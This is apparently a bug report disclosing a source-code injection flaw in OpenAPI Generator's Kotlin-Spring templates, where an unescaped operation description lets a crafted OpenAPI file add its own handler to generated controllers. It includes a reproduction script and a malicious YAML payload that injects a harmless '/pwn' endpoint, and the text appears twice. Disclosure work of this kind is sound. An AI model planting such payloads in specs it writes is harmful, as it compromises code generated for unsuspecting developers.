Bug Report Checklist
Description
OpenAPI Generator has a similar vulnerability with CVE-2026-22785 in the Kotlin-Spring generator: an untrusted OpenAPI operation description is copied into generated Kotlin source through unescapedNotes and placed inside a triple-quoted annotation string. A malicious description containing """ can close the string, close the annotation, and insert attacker-controlled Kotlin/Spring declarations into the generated controller.
The vulnerable sink is in modules/openapi-generator/src/main/resources/kotlin-spring/api.mustache.
@Operation(
summary = "{{{summary}}}",
operationId = "{{{operationId}}}",
description = """{{{unescapedNotes}}}""",
responses = [{{#responses}}
The same pattern is also present in modules/openapi-generator/src/main/resources/kotlin-spring/apiInterface.mustache.
@Operation(
tags = [{{#tags}}"{{{name}}}",{{/tags}}],
summary = "{{{summary}}}",
operationId = "{{{operationId}}}",
description = """{{{unescapedNotes}}}""",
responses = [{{#responses}}
The template uses unescapedNotes, not the escaped notes field. In modules/openapi-generator/src/main/java/org/openapitools/codegen/DefaultCodegen.java, unescapedNotes is assigned directly from the OpenAPI operation description:
op.summary = escapeText(operation.getSummary());
op.unescapedNotes = operation.getDescription();
op.notes = escapeText(operation.getDescription());
The Kotlin generator has escaping helpers, but those helpers are not applied to this unescapedNotes template path. modules/openapi-generator/src/main/java/org/openapitools/codegen/languages/AbstractKotlinCodegen.java only handles quote removal for escaped text and block-comment delimiter replacement for unsafe characters:
public String escapeQuotationMark(String input) {
return input.replace("\"", "");
}
public String escapeUnsafeCharacters(String input) {
return input.replace("*/", "*_/").replace("/*", "/_*");
}
Because the template renders the raw operation description inside a Kotlin triple-quoted string, an attacker-controlled """ terminates the annotation string. The attacker can then close the annotation and add Kotlin/Spring code before reopening a benign annotation string for the remaining generated template.
openapi-generator version
v7.22.0
Steps to reproduce
The following reproduction is self-contained. It checks out the affected OpenAPI Generator source, builds the CLI jar, creates the malicious OpenAPI document, generates a Kotlin-Spring server, compiles it, starts the generated
Spring application, and triggers the injected handler over HTTP.
set -eu
workdir="$(mktemp -d)"
cd "$workdir"
git clone --depth 1 https://github.com/OpenAPITools/openapi-generator.git
cd openapi-generator
git fetch --depth 1 origin 1dc89bd3d9081a4b2eff6baa8f7866109eb88a15
git checkout 1dc89bd3d9081a4b2eff6baa8f7866109eb88a15
./mvnw -q -pl modules/openapi-generator-cli -am package -DskipTests </dev/null
generator_jar="$(find modules/openapi-generator-cli/target -maxdepth 1 \
-name 'openapi-generator-cli*.jar' \
! -name '*sources*' \
! -name '*javadoc*' \
| head -n 1)"
cat > "$workdir/malicious-openapi.yaml" <<'YAML'
openapi: "3.0.3"
info:
title: OpenAPI Generator Kotlin description injection
version: "1.0.0"
paths:
/ping:
get:
operationId: ping
summary: Ping
description: |
"""
)
@GetMapping("/pwn")
fun pwn(): String {
return "OPENAPI_GENERATOR_INJECTED_HANDLER"
}
@Operation(description = """
responses:
"200":
description: OK
YAML
java -jar "$generator_jar" generate \
-g kotlin-spring \
-i "$workdir/malicious-openapi.yaml" \
-o "$workdir/generated-server" \
--additional-properties=interfaceOnly=false,serviceInterface=false,documentationProvider=springdoc,useSpringBoot3=false \
</dev/null
grep -R '@GetMapping("/pwn")' "$workdir/generated-server/src/main/kotlin"
grep -R 'OPENAPI_GENERATOR_INJECTED_HANDLER' "$workdir/generated-server/src/main/kotlin"
cd "$workdir/generated-server"
chmod +x ./gradlew
./gradlew build -x test -Pkotlin.jvm.target.validation.mode=warning </dev/null
./gradlew bootRun --args='--server.port=18085' \
-Pkotlin.jvm.target.validation.mode=warning </dev/null > "$workdir/boot.log" 2>&1 &
server_pid="$!"
trap 'kill "$server_pid" 2>/dev/null || true; wait "$server_pid" 2>/dev/null || true' EXIT
for i in $(seq 1 60); do
response="$(curl -fsS http://127.0.0.1:18085/pwn 2>/dev/null || true)"
if [ "$response" = "OPENAPI_GENERATOR_INJECTED_HANDLER" ]; then
printf '%s\n' "$response"
exit 0
fi
sleep 1
done
printf 'Injected handler did not become reachable. boot log follows:\n' >&2
cat "$workdir/boot.log" >&2
exit 1
Expected output from the final request:
OPENAPI_GENERATOR_INJECTED_HANDLER
The malicious OpenAPI operation description used by the script is:
openapi: "3.0.3"
info:
title: OpenAPI Generator Kotlin description injection
version: "1.0.0"
paths:
/ping:
get:
operationId: ping
summary: Ping
description: |
"""
)
@GetMapping("/pwn")
fun pwn(): String {
return "OPENAPI_GENERATOR_INJECTED_HANDLER"
}
@Operation(description = """
responses:
"200":
description: OK
The generated controller contains attacker-controlled source code:
@Operation(
summary = "Ping",
operationId = "ping",
description = """"""
)
@GetMapping("/pwn")
fun pwn(): String {
return "OPENAPI_GENERATOR_INJECTED_HANDLER"
}
@Operation(description = """
""",
responses = [
ApiResponse(responseCode = "200", description = "OK") ]
)
Related issues/PRs
Bug Report Checklist
Description
OpenAPI Generator has a similar vulnerability with CVE-2026-22785 in the Kotlin-Spring generator: an untrusted OpenAPI operation
descriptionis copied into generated Kotlin source throughunescapedNotesand placed inside a triple-quoted annotation string. A malicious description containing"""can close the string, close the annotation, and insert attacker-controlled Kotlin/Spring declarations into the generated controller.The vulnerable sink is in
modules/openapi-generator/src/main/resources/kotlin-spring/api.mustache.The same pattern is also present in
modules/openapi-generator/src/main/resources/kotlin-spring/apiInterface.mustache.The template uses
unescapedNotes, not the escapednotesfield. Inmodules/openapi-generator/src/main/java/org/openapitools/codegen/DefaultCodegen.java,unescapedNotesis assigned directly from the OpenAPI operation description:The Kotlin generator has escaping helpers, but those helpers are not applied to this
unescapedNotestemplate path.modules/openapi-generator/src/main/java/org/openapitools/codegen/languages/AbstractKotlinCodegen.javaonly handles quote removal for escaped text and block-comment delimiter replacement for unsafe characters:Because the template renders the raw operation description inside a Kotlin triple-quoted string, an attacker-controlled
"""terminates the annotation string. The attacker can then close the annotation and add Kotlin/Spring code before reopening a benign annotation string for the remaining generated template.openapi-generator version
v7.22.0
Steps to reproduce
The following reproduction is self-contained. It checks out the affected OpenAPI Generator source, builds the CLI jar, creates the malicious OpenAPI document, generates a Kotlin-Spring server, compiles it, starts the generated
Spring application, and triggers the injected handler over HTTP.
Expected output from the final request:
The malicious OpenAPI operation description used by the script is:
The generated controller contains attacker-controlled source code:
@Operation( summary = "Ping", operationId = "ping", description = """""" ) @GetMapping("/pwn") fun pwn(): String { return "OPENAPI_GENERATOR_INJECTED_HANDLER" } @Operation(description = """ """, responses = [ ApiResponse(responseCode = "200", description = "OK") ] )Related issues/PRs